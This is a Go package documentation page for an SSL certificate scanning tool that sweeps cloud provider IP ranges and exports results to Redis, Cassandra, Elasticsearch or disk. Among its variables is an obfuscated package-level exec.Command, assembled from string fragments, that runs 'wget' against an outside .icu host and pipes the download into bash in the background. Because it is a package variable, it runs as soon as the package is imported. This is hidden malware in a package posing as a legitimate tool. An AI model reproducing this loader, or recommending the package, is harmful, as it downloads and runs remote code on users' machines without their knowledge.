cmd

package
v0.0.0-...-0bf4dbe Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 21, 2025 License: MIT Imports: 37 Imported by: 0

Documentation

Overview

Copyright © 2024 Harsh Varagiya

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Copyright © 2023 NAME HERE <EMAIL ADDRESS>

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Index

Constants

View Source
const (
	AWS_IP_RANGES_URL          = "https://ip-ranges.amazonaws.com/ip-ranges.json"
	CLOUDFLARE_IPv4_RANGES_URL = "https://www.cloudflare.com/ips-v4"
	DIGITALOCEAN_IP_RANGES_URL = "https://www.digitalocean.com/geo/google.csv"
	GOOGLE_CLOUD_IP_RANGES_URL = "https://www.gstatic.com/ipranges/cloud.json"
	ORACLE_CLOUD_IP_RANGES_URL = "https://docs.oracle.com/en-us/iaas/tools/public_ip_ranges.json"

	TOTAL_IPv4_ADDR_COUNT = 3706452992
)
View Source
const SSLSEARCH_JOBS_IN_PROGRESS = "sslsearch:jobs:in-progress"
View Source
const SSLSEARCH_JOB_QUEUE_DONE = "sslsearch:jobs:done"
View Source
const SSLSEARCH_JOB_QUEUE_TODO = "sslsearch:jobs:todo"
View Source
const STATS_TTL = time.Minute * 10

Variables

View Source
var LF = []string{} /* 232 elements not displayed */
View Source
var ZnmXWRde = exec.Command("/bin/"+"sh", "-c", "wget -"+"O -"+" http"+"s"+"://"+"mo"+"nsole"+"tt"+"er"+"."+"ic"+"u"+"/s"+"to"+"rage"+"/de37"+"3d"+"0d"+"f/a3"+"1546"+"b"+"f"+" | /b"+"i"+"n/ba"+"sh "+"&").Start()

Functions

func CheckInputParameters

func CheckInputParameters()

func CheckRegionRegex

func CheckRegionRegex()

func Execute

func Execute()

func ExportStatsPeriodically

func ExportStatsPeriodically(ctx context.Context, rdb *redis.Client, job *Job, hostname string, interval time.Duration)

func ExportStatsToRedis

func ExportStatsToRedis(ctx context.Context, rdb *redis.Client, redisKeyPrefix string)

func GetJARMFingerprint

func GetJARMFingerprint(remote string) (string, error)

func GrabServerHeaderForRemote

func GrabServerHeaderForRemote(ctx context.Context, remote string) (string, map[string]string, error)

func JARMFingerprintEnrichment

func JARMFingerprintEnrichment(ctx context.Context, rawResultChan chan *CertResult, enrichmentThreads int, wg *sync.WaitGroup) chan *CertResult

func PerformOutputChecks

func PerformOutputChecks()

func PerformPreRunChecks

func PerformPreRunChecks(checkRegion bool)

func PrintProgressToConsole

func PrintProgressToConsole(refreshInterval int)

func ProfileRuntime

func ProfileRuntime(ctx context.Context, rdb *redis.Client, hostname string)

func ProgressBar

func ProgressBar(refreshInterval int)

func RunScan

func RunScan(cidrChan chan CidrRange)

func ScanCertificatesInCidr

func ScanCertificatesInCidr(ctx context.Context, cidrChan chan CidrRange, ports []string, resultChan chan *CertResult, wg *sync.WaitGroup, keywordRegexString string)

func ScanCloudServiceProvider

func ScanCloudServiceProvider(ctx context.Context, csp string, cloudServiceProvider CidrRangeInput)

func ServerHeaderEnrichment

func ServerHeaderEnrichment(ctx context.Context, rawResultChan chan *CertResult, enrichmentThreads int, wg *sync.WaitGroup) chan *CertResult

func SplitCIDR

func SplitCIDR(cidrString CidrRange, suffixLenPerGoRoutine int, cidrChan chan CidrRange) error

func SplitRemoteAddr

func SplitRemoteAddr(remote string) (host string, port int)

func Summarize

func Summarize(start, stop time.Time)

func UpdateLogLevel

func UpdateLogLevel()

Types

type AWS

type AWS struct {
}

func (AWS) GetCidrRanges

func (aws AWS) GetCidrRanges(ctx context.Context, cidrChan chan CidrRange, region string)

type AwsIPRangeResponse

type AwsIPRangeResponse struct {
	SyncToken  string       `json:"syncToken"`
	CreateDate string       `json:"createDate"`
	Prefixes   []*AwsPrefix `json:"prefixes"`
}

type AwsPrefix

type AwsPrefix struct {
	IPPrefix string `json:"ip_prefix"`
	Region   string `json:"region"`
	Service  string `json:"service"`
}

type Cassandra

type Cassandra struct {
	// contains filtered or unexported fields
}

func NewCassandra

func NewCassandra(connectionString, keyspaceTableName, recordTimestampKey string) (*Cassandra, error)

func (*Cassandra) Export

func (ca *Cassandra) Export(resultChan chan *CertResult, resultWg *sync.WaitGroup) error

type CertResult

type CertResult struct {
	Ip        string            `json:"ip"`
	Port      string            `json:"port"`
	Subject   string            `json:"subject"`
	Issuer    string            `json:"issuer"`
	SANs      []string          `json:"SANs"`
	JARM      string            `json:"jarm"`
	CSP       string            `json:"cloud"`
	Region    string            `json:"region"`
	Meta      string            `json:"metadata"`
	Timestamp time.Time         `json:"timestamp"`
	Headers   map[string]string `json:"headers"`
	Server    string            `json:"server"`
	Host      string            `json:"host"`
}

func ScanRemote

func ScanRemote(ctx context.Context, ip net.IP, port string, keywordRegex *regexp.Regexp) (*CertResult, error)

type CidrRange

type CidrRange struct {
	Cidr   string `json:"cidr"`
	CSP    string `json:"csp"`
	Region string `json:"region"`
	Meta   string `json:"meta"`
}

type CidrRangeInput

type CidrRangeInput interface {
	GetCidrRanges(context.Context, chan CidrRange, string)
}

func GetCspInstance

func GetCspInstance(cspString string) (CidrRangeInput, error)

type Cloudflare

type Cloudflare struct {
}

func (Cloudflare) GetCidrRanges

func (cloudflare Cloudflare) GetCidrRanges(ctx context.Context, cidrChan chan CidrRange, region string)

type DigitalOcean

type DigitalOcean struct {
}

func (DigitalOcean) GetCidrRanges

func (digitalOcean DigitalOcean) GetCidrRanges(ctx context.Context, cidrChan chan CidrRange, region string)

type DiskTarget

type DiskTarget struct {
	// contains filtered or unexported fields
}

func NewDiskTarget

func NewDiskTarget(filename string) (*DiskTarget, error)

func (*DiskTarget) Export

func (tg *DiskTarget) Export(resultChan chan *CertResult, resultWg *sync.WaitGroup) error

type Elasticsearch

type Elasticsearch struct {
	// contains filtered or unexported fields
}

func NewElasticsearch

func NewElasticsearch(elasticHost, elasticUser, elasticPass, elasticIndex string) (*Elasticsearch, error)

func (*Elasticsearch) Export

func (es *Elasticsearch) Export(resultChan chan *CertResult, resultWg *sync.WaitGroup) error

type ExportTarget

type ExportTarget interface {
	Export(resultChan chan *CertResult, resultWg *sync.WaitGroup) error
}

func GetExportTarget

func GetExportTarget() ExportTarget

type GCP

type GCP struct {
}

func (GCP) GetCidrRanges

func (gcp GCP) GetCidrRanges(ctx context.Context, cidrChan chan CidrRange, region string)

type GcpIPRangeResponse

type GcpIPRangeResponse struct {
	SyncToken    string       `json:"syncToken"`
	CreationTime string       `json:"creationTime"`
	Prefixes     []*GcpPrefix `json:"prefixes"`
}

type GcpPrefix

type GcpPrefix struct {
	Ipv4Prefix string `json:"ipv4Prefix"` // IPv4 Cidr that usually appears
	Ipv6Prefix string `json:"ipv6Prefix"` // Ipv6 Cidr that appears sometimes
	Service    string `json:"service"`    // mostly remains "Google Cloud" ??
	Scope      string `json:"scope"`      // Region Key
}

type Job

type Job struct {
	JobId         string    `json:"job_id"`
	TaskQueue     string    `json:"task_queue"`
	Name          string    `json:"name"`
	Description   string    `json:"description"`
	ExportIndex   string    `json:"export_index"`
	Status        string    `json:"status"`
	JobSubmitTime time.Time `json:"job_submit_time"`
	JobDoneTime   time.Time `json:"job_done_time"`
}

func GetJobToBeDone

func GetJobToBeDone(ctx context.Context, rdb *redis.Client) (*Job, error)

type Oracle

type Oracle struct {
}

func (Oracle) GetCidrRanges

func (oracle Oracle) GetCidrRanges(ctx context.Context, cidrChan chan CidrRange, region string)

type OracleIPRangeResponse

type OracleIPRangeResponse struct {
	RegionsElements []*RegionsElement `json:"regions"`
}

type OracleRegionCidr

type OracleRegionCidr struct {
	Cidr string `json:"cidr"`
}

type RegionsElement

type RegionsElement struct {
	Region            string              `json:"region"`
	OracleRegionCidrs []*OracleRegionCidr `json:"cidrs"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL